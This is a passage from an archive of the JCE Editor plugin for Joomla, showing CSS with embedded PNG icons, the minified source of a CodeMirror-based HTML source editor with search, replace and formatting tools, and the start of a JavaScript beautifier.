qmpWUV7gT8SdIBUkoovYWZmxmM0GgeZF4PvEdwR8Bi0SX7JExoamo24Ovgsi8XS7Xa7n8FHgTv4UonTM5ZF7pXawMwB/EBoKbzD6/XGq9WHO0/8WpAO3oBRMAwqwU3ZYP/B3F4WTXINJ6rlZK5BxgLXStEul+sYi24DG/Ly8j6wCREI/U5cCb4pFtas0+nW5+bmfiR2ByIcnNB9fCIgD9SCLGrdY7Oz4Nvh4xwOxxjCTHBucpTifx9MNFyxWn1ugYgLIc8kcZViM07G1evz+cILCgp+CS8t8KR/Y+uAXN8TFP65UjRJyuGOk1Cu51LD95xuxL/g9EBOeOUmMW8Rc8xkMiVYrdZZ/BexrStyDRD3ltrdwUTjb1Grz0bKpgYVraxVejZ5a6DodeyiDucFOLma9iCinfiugCiKzMkXIDsriwGj2K7IyEiLvMvm5ubwhYWFTeSLgnvAnGL/KXYw9yTznNhV3JSYsLCwqenp6d3EXiWuh3U8hesxGAxrcnJyvvk3KJs8wgetT84SNdHkS2TunPARERHjy6LlyrJIPaSc5j56m4hmvB3ILQghxshY3m0142oWacVdgb2HBQ7zrr7Cl3Odr8NdZiyf5CXlTSMuDV8rXCa+1+AVdjUxrYwH6M3k3UWez3q9fhy7iDV1kq+d8RdiRdhwsPr5+fn9aqKptxNuSTTNHXjS4iDv309yKiSWH1ne4nITcSwilv4MkA/nHahnl+v8BYtEJJAnMgROEbdaES0fIid8Cz4ZIYm8tSTG5+A3E+uVJ0V/livfyulWYZ+G1+GTd3qUtz8k/4pafTXRgRoY3/gHPONzi5jLLfIAAAAASUVORK5CYII=);}address{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAAAICAYAAACPp21mAAACcUlEQVQ4T9WUvWtTYRTGvUlMIMFsdnAokqFgFtMiGKiCtBjqZrVDMkgtTfNBBjFidSgWK4KD0qXc5gNE7KA1RR1stdDSQm0RVOqgGYoKVTBOlqAxDc2HvxPuLSFe/wAvHM77Pud5n/O8595E2fOfPIruM51Od1WrVa/ZbE4Eg8EfqVSqrVar9Wn1HfKbcDi89C9cVVUXZ/26HmdzlUolY7Va96MbaJyHoijLoVBoLZFIHGHdS20Hzkw0Gn0vPCN812gymVyH46FBLBKJqOxPs39C3CVawbsQvcH6nRFO/RX15+T75BocH/GJkDPzxEMxJEbgZLjURy6yDnec/QHgM+Vy+aDNZmsxwutGuYGbAx80sVYm16kbZV3nsL9MGoPXj/B0Mw7mp/a0UCjY4/F4Ec0r8EfAzopRTOyLxWK/9MlSH6Q2xiQ7Gcwm+37Mr7E/boTrJm4icJJmFyCtQnaZTCaPTE43hFA3tQWwsPhuxpnCeRrdo5bRzJwg39begEx090G/w+FwbBSLxdeAh4gNej+y2+23hGSEKxAUpvWZ+leMvGB/nTzKPttkNAA+SZMBLvG4wWgdx2gAo3Ocl8nvJaLELDX5fOY5c5j1bzHidDq/ZLPZstvtVvL5vAfNHmA5dy2Xy00Y4WLyGIQVGswgVNFuaCaPiFEauBBqYZ2CswlHvtm/cDBVvtGGV38HzAd2SYyicZRcN8qzhe4p8lUu6OOC31m/Rf8B/G+GOK90kqKXCbWLgvbrX2R5kRjXhLfJL/nOzlksFq8YbcZp5mk0ygCGaTyMQfn2nml8PU2VSqUh/hEynOkGNMFdZe0H/2mE/wFqA5Yqj886DAAAAABJRU5ErkJggg==);}pre{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAICAYAAAD0g6+qAAABH0lEQVQoU2NkoBJgnDZtmhIzM3ME1Lzv////35mRkXENTZwBKP7879+/q9nY2ET//fsXiWw/IyPjAcYZM2Z4ABnbgRJLgIq5gLQfkO8NZDOBxIH0IiD9HyjuBsR3gbgZiHcC8Qog/g0yEKhmNbJBAunp6R+BBh8CarwElNwCMujr169cRUVF34Hi5UA9NUCxYJBBf/784c3Ozv4CcxncIKDGFqAibqBEJpAdC6S/QF26GqrYAUj3APEFqIvgvgN61QjZoDVAmfdAQ/YwMTGtB9LOUK+VAsVZQRYA8Vag2HqQQUA1+kD2N5BpfHx8jzC8BrMGFnZIXusFhRNQczHIIKArzIE02CCQA4g2aObMmWVAV5YBDYgHxvIWuL8gjMUAcAagbbOy7zIAAAAASUVORK5CYII=);}figure{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACEAAAAICAYAAAB3R5aRAAACC0lEQVQ4T82SPUhbURTH+/KlCAYpxk1w0DgWDKXQyaXqpqCIgiAkMS/2wRNSTIcKEhRcDELEmARBUBAhtDr4QTYdnLp0KbiI1FCqOJTSxjZtkufv1JfwJl298Oeer3vO/5xzlSeP4CipVKpDUZRBKxe73f65XC63q6q6JPZ0Ot3ApRqG0Q6OXS7XYSAQ+JnJZLzoQ8ViMa7rehH9ZaVS8YF9coxUcxLzjXxZ3nnwjVprUftIocAAxh2wBcoSQGAepxoOh5sTiUQd5yOJmiQG+ytuIxQKPadov/m2CcI/yPWOuElsQeIOkTe4DfQecAbmQA5sg39Si5hsjQTd1Es3ZucazpiQIHFIhkFnbcFg8At6M77XdLbucDh895EoFAoNkUjkN9N+S9yMOfFcqVRq1DTtV3UiNRIkzouRQLm3LCSWkXsh5E0mk502m21M4iC1y8Ra7yOBL2sW6uZeBJ/MSVTry9S7aiQo3kexv+APcpeFxDwvdCblYS1eZPkbfmJ08BX5wOl0tvj9/ms6juEXkpq5jmlkJ5AV7WOTtedo5BnyjTBxu90XD65DPhuFTsAsY1yh4DBvk2ACPcdKLpCjrOc905F/dUXsqpCwrCOOvQfbGyFB9y+4/5PgfH+QhETRYYQEC4gucArOwQc+4xq+OL4pdDvFL0E/+lMrCf5RFHuU4uMQ3avt4k7YvAUOG1V8RLNKcAAAAABJRU5ErkJggg==);}ul{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAsklEQVQYV2NkIAEwzpo1S+3///8hP3/+7M3Ly/sJ5Fv9+/fPmImJaSdI/Pnz510NDQ1/QGYyzpw5MwBIrwdigfT09I9AfjVQUSYjI2MOSPzr169cRUVF32msGOhGT6C121hZWcWSkpJez5gxoxFoZQzQGcUYzpg6daosCwvLI6BE2d+/f9cyMzMvA7JfAvF8kGKgQaZA/APsZhABNK0XaFI+kMkMlHgBxP7A0JCCehweuAB9JXnE109ktAAAAABJRU5ErkJggg==);}ol{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAICAYAAADN5B7xAAAA60lEQVQYV2NkIBEwgtTPnDmT9f///x5ApgeQPvj9+/fNRUVF32fNmqUG5Ic8f/68q6Gh4Q9ILeOkSZPYgeA0kC0IxGuA2AeoCCSm9+vXLwcgf/3Xr1+5QAaANUyfPj2aiYlpCRArpaam3gcawMfGxvYWKFfJyMh4B0MD0DlNQBNjMzIyFGHeAYqdALIvA/FWbBrygIKdQCycnp7+DaiZEajhBdD0eUCxkxgaZsyYoQUUvAhU0Ad0Vt+/f//igPwuIN8BqBnkr/VA2hSIf4D9ACJA/gAqKAZiQyD3BhBPBdo2BWhTAEgDzKkgGgBA5HfEOsMmgwAAAABJRU5ErkJggg==);}dl{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAq0lEQVQYV2NkIAEwzpo1S+3///8hUD2/gfSZ9PT0/TDx58+fdzU0NPwByTPOnDkzAEivB+J5QCwH1OjEyMjYDGRfAIl//fqVq6io6DuKYqBpjCABoOZSINUE1BAP1LgSr+IZM2Y4AxXuAWpIB+klpDgSqHj6v3//EpmYmNZhVQyUUAIqEAOaNgto/UOgBpAf1gPZpkD8A92DID5I8MifP39iWVhYLKAehwcuALw3asQ7+4bgAAAAAElFTkSuQmCC);}dt{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAsAAAAICAYAAAAvOAWIAAAAr0lEQVQYV2NkIAEwzpo1S+3///8hUD2/gfSZ9PT0/TNmzMhgZGQUQjaLcebMmQFAgfVAPA+I5YAanYCKmoFsLiCWAOJQIL4KxNfgioGmMYJMAWouBVJNQCwMFPsG5L8AGtCTkZHRg6EYaL0z0OQ9//79U8zMzHxASHEkUPH058+fCzU0NPzDqpiJiUkJaJoY0PpZQGsfAq31gzoL0xlQX/8A0kf+/PkTm52d/QJdMQCVA3O7m48PnQAAAABJRU5ErkJggg==);}dd{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAICAYAAADN5B7xAAAAoklEQVQYV2NkIBEwzpo1S+3///8hUH2/gfSZ9PT0/bjEGWfOnBkAVLQeiOcBsRxQsxMjI2MzkH0BmzhcA9BURpAtQANKgVQTUFM8UPNKDHGYDTCJGTNmOAMV7wFqSgfpRxfHsAGoIRKoYfq/f/8SmZiY1iFpAIvDNQAllYCKxICmzgI65SFQEuSn9RjiSJ4GeeEHEB/58+dPLAsLiwXU0yjiAPNIaezUXWwjAAAAAElFTkSuQmCC);}editor/tiny_mce/plugins/source/js/editor.js000060400000020671150751770430015075 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function(){var DOM=tinyMCEPopup.dom,ed=tinyMCEPopup.editor,Event=tinymce.dom.Event;var writer=new tinymce.html.Writer(ed.settings),parser=new tinymce.html.SaxParser(writer,ed.schema);var SourceEditor={options:{format:true,width:'100%',height:'100%',theme:'textmate',font_size:'',load:function(){},change:function(){}},init:function(options,content,selection){var self=this;if(Event.domLoaded){tinymce.extend(this.options,options);this.container=DOM.add(document.body,'div',{'style':{width:this.options.width,height:this.options.height},'id':'source-container'});this._createToolbar();if(this.options.format){content=this._format(content);}
this._load(content,selection);}else{Event.add(document,'init',function(){self.init(options,content,selection);});}},_createToolbar:function(){var self=this,o=this.options,doc=document;this.toolbar=DOM.add(this.container,'div',{id:'source-toolbar'});tinymce.each(['highlight','linenumbers','wrap'],function(s){var n=DOM.add(self.toolbar,'span',{'class':'button source_'+s,'title':ed.getLang('source.'+s,s)});var func=self[s];if(o[s]){DOM.addClass(n,'active');}
Event.add(n,'click',function(){func.call(self,!DOM.hasClass(n,'active'));if(DOM.hasClass(n,'active')){DOM.removeClass(n,'active');}else{DOM.addClass(n,'active');}});});var format=DOM.add(self.toolbar,'span',{'class':'button source_format','title':ed.getLang('source.format','Format')});DOM.bind(format,'click',function(){self.format();});var search=DOM.add(this.toolbar,'span',{'class':'source_search_container'});tinymce.each(['search','replace'],function(s){var input=DOM.add(search,'input',{id:'source_'+s+'_value',type:'text','placeholder':ed.getLang('source.'+s,s)});var btn=DOM.add(search,'span',{'class':'button source_'+s,'title':ed.getLang('source.'+s,s)});var fn=self[s];DOM.bind(btn,'click',function(){var f=DOM.get('source_search_value').value,r;if(s=='replace'){r=DOM.get('source_replace_value').value;return fn.call(self,f,r,false,DOM.get('source_search_regex').checked);}
fn.call(self,f,false,DOM.get('source_search_regex').checked);});var k=(s=='search')?'prev':'all';var btn2=DOM.add(search,'span',{'class':'button source_'+s+'_'+k,'title':ed.getLang('source.'+s+'_'+k,s+' '+k)});DOM.bind(btn2,'click',function(){var f=DOM.get('source_search_value').value,r;if(s=='replace'){r=DOM.get('source_replace_value').value;return fn.call(self,f,r,true,DOM.get('source_search_regex').checked);}
return fn.call(self,f,true,DOM.get('source_search_regex').checked);});});DOM.bind(DOM.get('source_search_value'),'change',function(){if(DOM.get('source_search_value').value==''){self.clearSearch();}});DOM.add(search,'input',{'id':'source_search_regex','type':'checkbox'});DOM.add(search,'label',{'for':'source_search_regex'},ed.getLang('source.regex','Regular Expression'));},_format:function(html,validate){if(validate){parser.parse(html);}
return this.formatHTML(html);},_load:function(content,selection){var self=this,cm,o=this.options;if(window.CodeMirror){if(o.theme=='codemirror'){o.theme='default';}
var settings={mode:"text/html",theme:o.theme,indentWithTabs:true,smartIndent:true,tabMode:"indent",styleActiveLine:true,highlightSelectionMatches:!!o.selection_match,autoCloseTags:!!o.tag_closing};cm=CodeMirror(this.container,settings);cm.on('change',function(){o.change.call();});cm.setWrap=function(s){cm.setOption('lineWrapping',s);try{cm.focus();}catch(e){}};cm.showGutter=function(s){cm.setOption('lineNumbers',s);try{cm.focus();}catch(e){}};cm.highlight=function(s){var c=cm.getCursor();if(s){cm.setOption('mode','text/html');}else{cm.setOption('mode','text/plain');}
cm.setCursor(c);try{cm.focus();}catch(e){}};cm.resize=function(w,h,init){if(!init){h=h-self.toolbar.offsetHeight;}
cm.setSize(w||null,h);};cm.showInvisibles=function(s){};cm.setContent=function(v){if(v===''){v='\u00a0';}
cm.setValue(v);try{cm.focus();}catch(e){}};cm.insertContent=function(v){return cm.replaceSelection(v);};cm.getContent=function(){return cm.getValue();};cm.getSearchState=function(){function SearchState(){this.posFrom=this.posTo=this.query=null;this.marked=[];}
return cm.state.search||(cm.state.search=new SearchState());};cm.clearSearch=function(){cm.operation(function(){var state=cm.getSearchState(cm);if(!state.query){return;}
state.query=null;for(var i=0;i<state.marked.length;++i){state.marked[i].clear();}
state.marked.length=0;cm.removeOverlay(state.overlay);});};cm.search=function(query,rev,re){if(re){query=new RegExp(query);}
function searchOverlay(query){if(typeof query=="string"){return{token:function(stream){if(stream.match(query))
return"searching";stream.next();stream.skipTo(query.charAt(0))||stream.skipToEnd();}};}
return{token:function(stream){if(stream.match(query))
return"searching";while(!stream.eol()){stream.next();if(stream.match(query,false))
break;}}};}
function getSearchCursor(cm,query,pos){return cm.getSearchCursor(query,pos,typeof query=="string"&&query==query.toLowerCase());}
function doSearch(cm,rev,query){var state=cm.getSearchState(cm);if(state.query){return findNext(cm,rev);}else{if(!query){return;}
state.query=query;cm.removeOverlay(state.overlay);state.overlay=searchOverlay(state.query);cm.addOverlay(state.overlay);state.posFrom=state.posTo=cm.getCursor();findNext(cm,rev);}}
function findNext(cm,rev){cm.operation(function(){var state=cm.getSearchState();var cursor=getSearchCursor(cm,state.query,rev?state.posFrom:state.posTo);if(!cursor.find(rev)){cursor=getSearchCursor(cm,state.query,rev?CodeMirror.Pos(cm.lastLine()):CodeMirror.Pos(cm.firstLine(),0));if(!cursor.find(rev)){return;}}
cm.setSelection(cursor.from(),cursor.to());state.posFrom=cursor.from();state.posTo=cursor.to();cm.scrollIntoView(cursor.from());});}
var state=cm.getSearchState(cm);if(state.query!==query){cm.clearSearch();}
doSearch(cm,rev,query);};cm.replace=function(query,text,all,re){var self=this;if(re){query=new RegExp(query);}
if(all){for(var cursor=cm.getSearchCursor(query);cursor.findNext();){if(typeof query!="string"){var match=cm.getRange(cursor.from(),cursor.to()).match(query);cursor.replace(text.replace(/\$(\d)/,function(w,i){return match[i];}));}else{cursor.replace(text);}}}else{cm.clearSearch();var cursor=cm.getSearchCursor(query,cm.getCursor());function advance(){var start=cursor.from(),match;if(!(match=cursor.findNext())){cursor=cm.getSearchCursor(query);if(!start||!(match=cursor.findNext())||(cursor.from().line==start.line&&cursor.from().ch==start.ch)){cm.focus();return false;}}
cm.setSelection(cursor.from(),cursor.to());doReplace(match);cm.setCursor(cursor.to());cm.scrollIntoView(cursor.to());cm.focus();}
function doReplace(match){cursor.replace(typeof query=="string"?text:text.replace(/\$(\d)/,function(w,i){return match[i];}));}
advance();}};cm.format=function(){CodeMirror.commands["selectAll"](cm);function getSelectedRange(){return{from:cm.getCursor(true),to:cm.getCursor(false)};}
var range=getSelectedRange();cm.autoFormatRange(range.from,range.to);};if(o.font_size){if(/[^\D]/.test(o.font_size)){o.font_size+='px';}
cm.getWrapperElement().style.fontSize=o.font_size;}
this.editor=cm;this._loaded(content);if(selection){cm.search(selection);}
cm.refresh();}},_loaded:function(content){var o=this.options;this.setContent(content);this.wrap(!!o.wrap);this.linenumbers(!!o.linenumbers);o.load.call();this.focus();},search:function(find,rev,re){return this.editor.search(find,rev,re);},replace:function(find,replace,all,re){return this.editor.replace(find,replace,all,re);},clearSearch:function(){return this.editor.clearSearch();},getSelection:function(){return this.editor.getSelection();},wrap:function(s){return this.editor.setWrap(s);},linenumbers:function(s){return this.editor.showGutter(s);},highlight:function(s){return this.editor.highlight(s);},setContent:function(v,format){if(format){v=this._format(v);}
return this.editor.setContent(v);},insertContent:function(v){return this.editor.insertContent(v);},getContent:function(){return this.editor.getContent();},showInvisibles:function(s){return this.editor.showInvisibles(s);},resize:function(w,h,init){return this.editor.resize(w,h,init);},focus:function(){return this.editor.focus();},undo:function(){this.editor.undo();this.focus();},redo:function(){this.editor.redo();this.focus();},indent:function(){},getContainer:function(){return this.container||null;},format:function(){var html=this.getContent();html=this._format(html);this.setContent(html);}};window.SourceEditor=SourceEditor;}());editor/tiny_mce/plugins/source/js/format.js000060400000220302150751770430015070 0ustar00/* JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
(function(){var acorn={};(function(exports){var nonASCIIwhitespace=/[\u1680\u180e\u2000-\u200a\u202f\u205f\u3000\ufeff]/;var nonASCIIidentifierStartChars="\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f2\u0620-\u064a\u066e\u066f\u0671-\u06d3\u06d5\u06e5\u06e6\u06ee\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc\u09dd\u09df-\u09e1\u09f0\u09f1\u0a05-\u0a0a\u0a0f\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32\u0a33\u0a35\u0a36\u0a38\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0\u0ae1\u0b05-\u0b0c\u0b0f\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32\u0b33\u0b35-\u0b39\u0b3d\u0b5c\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99\u0b9a\u0b9c\u0b9e\u0b9f\u0ba3\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58\u0c59\u0c60\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0\u0ce1\u0cf1\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0e01-\u0e30\u0e32\u0e33\u0e40-\u0e46\u0e81\u0e82\u0e84\u0e87\u0e88\u0e8a\u0e8d\u0e94-\u0e97\u0e99-\u0e9f\u0ea1-\u0ea3\u0ea5\u0ea7\u0eaa\u0eab\u0ead-\u0eb0\u0eb2\u0eb3\u0ebd\u0ec0-\u0ec4\u0ec6\u0edc-\u0edf\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u1000-\u102a\u103f\u1050-\u1055\u105a-\u105d\u1061\u1065\u1066\u106e-\u1070\u1075-\u1081\u108e\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1780-\u17b3\u17d7\u17dc\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1950-\u196d\u1970-\u1974\u1980-\u19ab\u19c1-\u19c7\u1a00-\u1a16\u1a20-\u1a54\u1aa7\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303c\u3041-\u3096\u309d-\u309f\u30a1-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u3400-\u4db5\u4e00-\u9fcc\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaa60-\uaa76\uaa7a\uaa80-\uaaaf\uaab1\uaab5\uaab6\uaab9-\uaabd\uaac0\uaac2\uaadb-\uaadd\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\uf900-\ufa6d\ufa70-\ufad9\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40\ufb41\ufb43\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc";var nonASCIIidentifierChars="\u0300-\u036f\u0483-\u0487\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u0620-\u0649\u0672-\u06d3\u06e7-\u06e8\u06fb-\u06fc\u0730-\u074a\u0800-\u0814\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0840-\u0857\u08e4-\u08fe\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0963\u0966-\u096f\u0981-\u0983\u09bc\u09be-\u09c4\u09c7\u09c8\u09d7\u09df-\u09e0\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a66-\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2-\u0ae3\u0ae6-\u0aef\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47\u0b48\u0b4b-\u0b4d\u0b56\u0b57\u0b5f-\u0b60\u0b66-\u0b6f\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0be6-\u0bef\u0c01-\u0c03\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62-\u0c63\u0c66-\u0c6f\u0c82\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5\u0cd6\u0ce2-\u0ce3\u0ce6-\u0cef\u0d02\u0d03\u0d46-\u0d48\u0d57\u0d62-\u0d63\u0d66-\u0d6f\u0d82\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2\u0df3\u0e34-\u0e3a\u0e40-\u0e45\u0e50-\u0e59\u0eb4-\u0eb9\u0ec8-\u0ecd\u0ed0-\u0ed9\u0f18\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f41-\u0f47\u0f71-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u1000-\u1029\u1040-\u1049\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f-\u109d\u135d-\u135f\u170e-\u1710\u1720-\u1730\u1740-\u1750\u1772\u1773\u1780-\u17b2\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1920-\u192b\u1930-\u193b\u1951-\u196d\u19b0-\u19c0\u19c8-\u19c9\u19d0-\u19d9\u1a00-\u1a15\u1a20-\u1a53\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1b46-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1bb0-\u1bb9\u1be6-\u1bf3\u1c00-\u1c22\u1c40-\u1c49\u1c5b-\u1c7d\u1cd0-\u1cd2\u1d00-\u1dbe\u1e01-\u1f15\u200c\u200d\u203f\u2040\u2054\u20d0-\u20dc\u20e1\u20e5-\u20f0\u2d81-\u2d96\u2de0-\u2dff\u3021-\u3028\u3099\u309a\ua640-\ua66d\ua674-\ua67d\ua69f\ua6f0-\ua6f1\ua7f8-\ua800\ua806\ua80b\ua823-\ua827\ua880-\ua881\ua8b4-\ua8c4\ua8d0-\ua8d9\ua8f3-\ua8f7\ua900-\ua909\ua926-\ua92d\ua930-\ua945\ua980-\ua983\ua9b3-\ua9c0\uaa00-\uaa27\uaa40-\uaa41\uaa4c-\uaa4d\uaa50-\uaa59\uaa7b\uaae0-\uaae9\uaaf2-\uaaf3\uabc0-\uabe1\uabec\uabed\uabf0-\uabf9\ufb20-\ufb28\ufe00-\ufe0f\ufe20-\ufe26\ufe33\ufe34\ufe4d-\ufe4f\uff10-\uff19\uff3f";var nonASCIIidentifierStart=new RegExp("["+nonASCIIidentifierStartChars+"]");var nonASCIIidentifier=new RegExp("["+nonASCIIidentifierStartChars+nonASCIIidentifierChars+"]");var newline=exports.newline=/[\n\r\u2028\u2029]/;var lineBreak=exports.lineBreak=/\r\n|[\n\r\u2028\u2029]/g;var isIdentifierStart=exports.isIdentifierStart=function(code){if(code<65)return code===36;if(code<91)return true;if(code<97)return code===95;if(code<123)return true;return code>=0xaa&&nonASCIIidentifierStart.test(String.fromCharCode(code));};var isIdentifierChar=exports.isIdentifierChar=function(code){if(code<48)return code===36;if(code<58)return true;if(code<65)return false;if(code<91)return true;if(code<97)return code===95;if(code<123)return true;return code>=0xaa&&nonASCIIidentifier.test(String.fromCharCode(code));};})(acorn);function in_array(what,arr){for(var i=0;i<arr.length;i+=1){if(arr[i]===what){return true;}}
return false;}
function trim(s){return s.replace(/^\s+|\s+$/g,'');}
function ltrim(s){return s.replace(/^\s+/g,'');}
function rtrim(s){return s.replace(/\s+$/g,'');}
function js_beautify(js_source_text,options){"use strict";var beautifier=new Beautifier(js_source_text,options);return beautifier.beautify();}
var MODE={BlockStatement:'BlockStatement',Statement:'Statement',ObjectLiteral:'ObjectLiteral',ArrayLiteral:'ArrayLiteral',ForInitializer:'ForInitializer',Conditional:'Conditional',Expression:'Expression'};function Beautifier(js_source_text,options){"use strict";var output
